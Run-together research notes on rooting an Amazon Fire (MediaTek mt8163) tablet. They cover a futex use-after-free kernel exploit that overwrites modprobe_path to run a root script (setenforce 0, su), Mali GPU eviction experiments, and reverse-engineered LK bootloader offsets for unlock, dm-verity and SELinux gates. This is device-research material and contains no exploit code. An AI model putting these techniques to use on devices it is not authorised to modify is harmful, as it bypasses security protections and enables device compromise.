tools/mtk_preloader_hid.py is the full transport (handshake/read32/
write32; write32 is guarded and should not be used until the eMMC register
map is confirmed).
read_mmc), then patch boot.img/lk from the preloader and reboot.amzn_verify_unlock or the LK env gate.pi_blocked_onfutex.c:1975 passes this->rt_waiter,
declared in futex_wait_requeue_pi at futex.c:2880) → waiter stamps its own freed frame
via arm32 select (nr 142) fd_setsDEBUG_RT_MUTEXES off
→ compact 48-byte rt_mutex_waiter (tree_entry@0, pi_tree_entry@0xc, task@0x18,
lock@0x1c, prio@0x20, deadline@0x28)modprobe_path @ 0xc111488c (string self-located in
vmlinux; KALLSYMS_ALL off so data symbols need this trick) → unknown-binfmt exec → root
script (setenforce 0, disable OTA, su)refs/: NebuSec/CyberMeowfia (original), GhostLock-5.10 (Fire OS 8 port,
full 32-bit ARM trigger in src/exp32/), ghostlock-...-4.19-k40 (Qualcomm 4.19 Android port)selrootselinux_state.enforcingcommit_creds(&init_cred)uid=0jcnr_extresinfo->gpu_alloc_addr (a GPU VA you must
pre-allocate and pass)| evictable object | pressure | result |
|---|
| none | 900 MB | survived |
| none | 1300 MB | panic (system lowmem bug — unrelated) |
| normal region + DONT_NEED | 700 MB | survived |
| JIT region + DONT_NEED | 700 MB | panic in reclaim path |
kernel/config-*/proc/config.gzksrc/ — Amazon OSS source (platform.tar + extracted midgard-r26p0 tree)/tmp/opencode/mustang_ota.bin (sha256 6068515a… matches fireos-archive)
and 2.2 GB kernel-source tarball kept at ~/Desktop/amazon-mustang/ksrc/kernel/mediatek/mt8163/4.9/drivers/misc/mediatek/gpu/gpu_mali/mali_midgard/midgard-r26p0/| renames stall (journal/GFP_NOFS) → 128 total → garbage deref |
| pre-drain 12K events + pressure + small trailing | crash at deref |
| + kill-child-at-eviction (10ms poll) | crash at deref |
| + cpu0-pinned lifecycle (drain3) | crash at deref |
| stepped pressure (drain4 v1) | children freed memory on exit → no eviction (validated legal path) |
| run | result |
|---|
| pmap G=c2a412a4 400MB | crash at deref |
| pmap G=c2f4b2a4 480MB | crash; +0 post-kill renames (480MB suffocates fs) |
| iso2 (spray + regions + oracle) | REGION HIT — spray doesn't break reclaim |
| mix v1 (concurrent events+regions) | crash; confounded (spinning event threads) |
| pmap G=c2a7d2a4 350MB + retouch | crash; +4452 renames OK |
| mix2 (sequential: 2s events THEN regions) | crash; +7126 renames (28K event allocs), 2715 regions |
fn=0PM_PAGE+NF_CELL_OFFprobekernel_x_end: arch/arm/mm/mmu.c
map_lowmem() maps lowram below kernel text MT_MEMORY_RWX, but everything
above kernel_x_end MT_MEMORY_RW → PMD_SECT_XN (line 509). Baked
shellcode at 0xc154b600 prefetch-aborts. Payload must be a real kernel
function pointer, not code in the physmap.ro.boot.lk_version=0x0006, build 0db73c9-20231025_030009;
preloader pl_version=0x000a, build 80c6fcb-20230523_065640. /dev/block/by-name/lk = mmcblk0p5 (1 MB).persist/seccfg/nvram/protect/para):
proinfo p0, PMT p1, kb p2, dkb p3, lk p4, tee1 p5, tee2 p6, metadata p7,
MISC p8, reserved p9, boot p10, recovery p11, system p12, vendor p13,
cache p14, userdata p15. eMMC boot0 (1 MB) = preloader (EMMC_BOOT magic);
boot1 (4 MB) = IDME store.Kfos_flagsKdev_flagsKusr_flagsKunlock_codeKunlock_versionFOS_FLAGS_{NONE,ADB_ON,ADB_ROOT,CONSOLE_ON,RAMDUMP_ON,VERBOSITY_ON,ADB_AUTH_DISABLE,FORCE_DM_VERITY,DM_VERITY_OFF,BOOT_DEXOPT}[DM-VERITY] verify for system(root) is enabled[DM-VERITY] verify off by fos_flags[DM-VERITY] disabled by fos_flags on eng devices or unlocked device[SELINUX] set to permissive mode by dev_flagsandroidboot.prod=1|0androidboot.unlocked_kernel=%sfos_flags/dev_flags security effects on eng/unlocked.dev_flags=0xffprodamzn_is_adb_auth_disable_allowed @0x2d5e8 = fos_flags & 0x20 (ungated)amzn_is_dev_unlocked @0x2d5fc = /proc/cmdline contains androidboot.prod=0 or
androidboot.unlocked_kernel=truefos_read_debug_flags @0x2d724 reads /proc/idme/<name> and parses hexrestart_root_service @0xcb74 / restart_unroot_service @0xcc64amzn_fos: ADB: Auto-root succeeded, … eng_device=%d, … unlocked_kernel=%d,
adbd cannot run as root in production builds, ro.debuggableadb root → "cannot run as root in production builds" (ro.debuggable=0) — so even with the
auto-root gate satisfied, the AOSP prod check gates the command path.unlocked_kernel=true/systemperfmonitord.binamazonfiled.bintools/findinitnet.pyfindgadget*.pyfindstores.pyadbd_sym.pyrun.shpoc/stage3.cselrootpoc/su.crootcmd.sh| literal (file off) | value | meaning |
|---|
| 0x270 | 0xFF4002F8 | str r4,[r6] scratch |
| 0x274 | 0xFF40027C | destination (base+0x27C) |
| 0x278 | 0xFF54A440 | copy end (incl. BSS) |
| 0x27C | 0xFF400484 | entry point |
| offset | function |
|---|
0xdf7c | is_secure_or_prod() -> byte[ [[g]+0 ] + 0x163 ]; g = global @0x52838. 1 on this unit. |
0x20b4 | verify_stored_unlock() = memset(buf,0,0x100); read IDME/env unlock_code (0x100) via 0x57c; bl 0x222c; return (verify==0). |
0x222c / 0x20f0 | amzn_verify_unlock(code,len) — libtomcrypt RSA/PKCS#1 verify (see below). |
0xda3e | is_unlocked() = is_secure_or_prod() && verify_stored_unlock(). |
0x29a28 | is_verity_disabled() = (fos_flags & 0x80) && !(is_secure_or_prod() && verify_stored_unlock()); cached in global @0x50c74. |
0x29974 | SELinux cmdline builder: dev_flags & 0x20 -> androidboot.selinux=enforce, dev_flags & 0x40 -> ...=permissive (each gated by byte[+0x162]). |
0x118xx/0x11bxx | kernel cmdline builder (unlocked_kernel, prod=1/0, verifiedbootstate, rpmb_state, secure_cpu, versions, root=). |
0x27af8 | UART gate: fos_flags & 0x4 -> printk.disable_uart=0, else =1. |
0x12fd4 | LK env loader: partition "para", 0x4000 bytes, magic ENV_v1, checksum = sum of bytes over 0x3ffc compared to word @0x3ffc. |
0x1efd0 | partition lookup by name (used for "para", "boot", ...). |
0x57c | getter dispatcher through callback slot @0x58218; slots @0x58200..0x5821c are registered from a table at 0x5a8-0x734. |
0x2a19c | fastboot oem unlock: bl 0x222c(code,len); on success writes unlock_code (0x100) via 0x408. |
unlocked_kernel=false/proc/cmdlineandroidboot.unlocked_kernelandroidboot.produnlock_code